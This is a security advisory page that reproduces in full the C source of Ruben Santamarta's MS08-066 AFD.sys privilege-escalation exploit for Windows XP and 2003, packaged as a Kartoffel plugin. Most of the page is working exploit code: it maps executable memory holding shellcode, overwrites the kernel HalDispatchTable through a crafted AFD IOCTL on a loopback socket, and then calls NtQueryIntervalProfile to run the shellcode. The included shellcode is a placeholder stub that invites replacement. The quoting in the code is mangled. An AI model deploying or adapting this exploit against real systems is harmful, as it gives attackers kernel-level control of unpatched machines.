‘Microsoft Windows AFD.sys Privilege Escalation (Kartoffel Plugin, Exploit, MS08-066)’
Summary
‘Kartoffel is a extensible command-line tool developed with the aim of helping developers to test the security and the reliability of a driver.
Credit:
‘The information has been provided by Ruben Santamarta.
The original article can be found at: http://www.milw0rm.com/exploits/6757‘
Details
‘Exploit:
///////////////////////////////////////////////////////
///////////////////////////////////////////////////////
////
//// Microsoft Windows AFD.sys MS08-066
//// Privilege Escalation Exploit XP & 2003
//// ———————————————
//// This code can only be used for personal study
//// and research purposes on odd days.
//// ———————————————
//// Copy afd_plugin.dll to ‘{kartoffel}plugins’
//// > kartoffel.exe -D afd_plugin
//// ———————————————
//// Ruben Santamarta
//// www.reversemode.com
//// kartoffel.reversemode.com
////
#include <stdio.h>
#include <Winsock2.h>
#include <ntsecapi.h>
#include ‘kartolib.h’
#pragma comment(lib,’kartolib.lib’)
#pragma comment (lib, ‘ws2_32.lib’)
#define AFD_GET_REMOTE_ADDRESS 0x1203f
typedef enum _KPROFILE_SOURCE {
ProfileTime,
ProfileAlignmentFixup,
ProfileTotalIssues,
ProfilePipelineDry,
ProfileLoadInstructions,
ProfilePipelineFrozen,
ProfileBranchInstructions,
ProfileTotalNonissues,
ProfileDcacheMisses,
ProfileIcacheMisses,
ProfileCacheMisses,
ProfileBranchMispredictions,
ProfileStoreInstructions,
ProfileFpInstructions,
ProfileIntegerInstructions,
Profile2Issue,
Profile3Issue,
Profile4Issue,
ProfileSpecialInstructions,
ProfileTotalCycles,
ProfileIcacheIssues,
ProfileDcacheAccesses,
ProfileMemoryBarrierCycles,
ProfileLoadLinkedIssues,
ProfileMaximum
} KPROFILE_SOURCE, *PKPROFILE_SOURCE;
typedef DWORD (WINAPI *PNTQUERYINTERVAL)( KPROFILE_SOURCE ProfileSource,
PULONG Interval );
typedef NTSTATUS (WINAPI *PNTALLOCATE)( IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG RegionSize,
IN ULONG AllocationType,
IN ULONG Protect );
typedef struct _THREAD_PARAMS
{
HANDLE hInitEvent;
HANDLE hReadyEvent;
} THREAD_PARAMS, *PTHREAD_PARAMS;
int Callback_Overview()
{
printf(‘n’);
printf(‘================================================= n’);
printf(‘ Microsoft Windows AFD.sys (MS08-066) n’);
printf(‘ Privilege Escalation Exploit n’);
printf(‘ XP && 2003n’);
printf(‘================================================= n’);
printf(‘ Ruben Santamartann’);
printf(‘+ References:n’);
printf(‘ www.microsoft.com/technet/security/bulletin/ms08-oct.mspxn’);
printf(‘ www.reversemode.comnn’);
return 1;
}
VOID WINAPI FooServer(LPVOID pParam)
{
PTHREAD_PARAMS lParams = (PTHREAD_PARAMS)pParam;
SOCKET tcp_socket;
SOCKET local_client;
sockaddr_in localonly;
sockaddr_in remote;
int remoteLen = sizeof(remote);
localonly.sin_family=AF_INET;
localonly.sin_addr.s_addr = inet_addr(‘127.0.0.1’);
localonly.sin_port=htons(0xBACA);
tcp_socket= socket( AF_INET,SOCK_STREAM, 0 );
if( tcp_socket == INVALID_SOCKET)
{
printf(‘[!!] Create Socket failed…n’);
exit(0);
}
if( bind(tcp_socket,(sockaddr*)&localonly,sizeof(localonly)) !=0 )
{
printf(‘[!!] Bind Socket failed…n’);
exit(0);
}
printf(‘[+] Local server readyn’);
SetEvent(lParams->hInitEvent);
listen(tcp_socket,2);
local_client = accept(tcp_socket,(struct sockaddr*)&remote,&remoteLen);
printf(‘nt-> Incoming connection: %snn’,inet_ntoa(remote.sin_addr));
WaitForSingleObject( lParams->hReadyEvent, -1 );
closesocket(local_client);
closesocket(tcp_socket);
return;
}
////////////////////////////////
/// Shellcode
////////////////////////////////
/// Feel free to modify
///—————————–
/// [nops]
/// int3
/// [nops]
/// retn 0x10
/// [nops]
unsigned char payload[]=’x90x90xccx90x90xc2x10x00x90x90′;
int Callback_Direct( char *lpInitStr )
{
PNTQUERYINTERVAL NtQueryIntervalProfile;
KPROFILE_SOURCE stProfile = ProfileTotalIssues;
PNTALLOCATE NtAllocateVirtualMemory;
WSADATA ws;
SOCKET tcp_socket;
struct sockaddr_in peer;
char inBuff[0x40];
char outBuff[0x40];
char szNtos[MAX_PATH] = {0};
DWORD junk ,i;
DWORD dwShellSize = 0x1000;
ULONG_PTR HalDispatchTable;
ULONG_PTR BaseNt = 0;
ULONG_PTR result;
LPVOID addr = (LPVOID)0x01000000;
HMODULE hKernel;
THREAD_PARAMS lParams = {0};
WSAStartup(0x0202,&ws);
system(‘cls’);
Callback_Overview();
///////////////// Dynamic Stuff
if( GetDriverInfoByName(‘krnl’,szNtos,&BaseNt) )
{
printf(‘[+] %s loaded at t [ 0x%p ]n’,szNtos,BaseNt);
} else {
printf(‘[!!] Kernel not found :?n’);
return FALSE;
}
if( strstr(szNtos,’krnlpa’) )
{
hKernel = LoadLibraryExA(‘ntkrnlpa.exe’,0,1);
} else {
hKernel = LoadLibraryExA(‘ntoskrnl.exe’,0,1);
}
HalDispatchTable = (ULONG_PTR)GetProcAddress(hKernel,
‘HalDispatchTable’);
if( !HalDispatchTable )
{
printf(‘[!!] HalDispatchTable not foundn’);
return FALSE;
}
HalDispatchTable -= ( ULONG_PTR )hKernel;
HalDispatchTable += BaseNt;
printf(‘[+] HalDispatchTable found ttt [ 0x%p ]n’,HalDispatchTable);
printf(‘[+] NtQueryIntervalProfile ‘);
NtQueryIntervalProfile = ( PNTQUERYINTERVAL ) GetProcAddress(GetModuleHandle(‘ntdll.dll’),
‘NtQueryIntervalProfile’);
if( !NtQueryIntervalProfile )
{
printf(‘[!!] Unable to resolve NtQueryIntervalProfilen’);
return FALSE;
}
printf( ‘ttt [ 0x%p ]n’,NtQueryIntervalProfile );
printf(‘[+] NtAllocateVirtualMemory’);
NtAllocateVirtualMemory = (PNTALLOCATE) GetProcAddress(GetModuleHandle( ‘ntdll.dll’),
‘NtAllocateVirtualMemory’);
if( !NtAllocateVirtualMemory )
{
printf(‘[!!] Unable to resolve NtAllocateVirtualMemoryn’);
return FALSE;
}
printf( ‘ttt [ 0x%p ]n’,NtAllocateVirtualMemory );
printf(‘n[+] Allocating memory at [ 0x%p ]…n’,addr);
NtAllocateVirtualMemory( INVALID_HANDLE_VALUE,
&addr,
0,
&dwShellSize,
MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE );
if( (ULONG_PTR)addr != 0x01000000 )
{
printf(‘n[!!] Error allocating memoryn’);
return 0;
}
memset(addr, 0x90, dwShellSize);
memcpy( (void*)((BYTE*)addr + 0x100),(void*)payload, sizeof(payload));
///// End
lParams.hInitEvent = CreateEvent(0, FALSE, FALSE, 0);
lParams.hReadyEvent = CreateEvent(0, FALSE, FALSE, 0);
memset(inBuff,0x90,sizeof(inBuff));
memset(outBuff,0x90,sizeof(outBuff));
CreateThread( NULL,
0,
(LPTHREAD_START_ROUTINE)FooServer,
(LPVOID)&lParams,
0,
NULL);
peer.sin_family = AF_INET;
peer.sin_port = htons( 0xBACA );
peer.sin_addr.s_addr = inet_addr( ‘127.0.0.1’ ); //
tcp_socket = socket(AF_INET, SOCK_STREAM, 0);
WaitForSingleObject(lParams.hInitEvent, -1);
if ( connect(tcp_socket, (struct sockaddr*) &peer, sizeof(sockaddr_in)) )
{
printf(‘n[!!] You should not see this! nn’);
exit(0);
}
printf(‘[+] Sending IOCTL…n’);
DeviceIoControl((HANDLE)tcp_socket,
AFD_GET_REMOTE_ADDRESS,
(LPVOID)inBuff,sizeof(inBuff),
(LPVOID)outBuff,0,
&junk,
NULL);
printf(‘n’);
printf(‘[+] Received Bytes from Peer Address:nt-> ‘);
for( i = 0; i < sizeof( peer ) ; i++)
{
printf(‘ %02X ‘,(unsigned char)outBuff[i]);
}
printf(‘nn’);
printf(‘[+] Overwriting HalDispatchTable with those bytes…’);
DeviceIoControl((HANDLE)tcp_socket,
AFD_GET_REMOTE_ADDRESS,
(LPVOID)inBuff,sizeof(inBuff),
(LPVOID)HalDispatchTable,0,
&junk,
NULL);
printf(‘nn’);
printf(‘[+] Executing shellcode…’);
NtQueryIntervalProfile(stProfile,&result);
printf(‘[ OK ]n’);
SetEvent(lParams.hReadyEvent);
printf(‘[+] Done…nn’);
return TRUE;
}’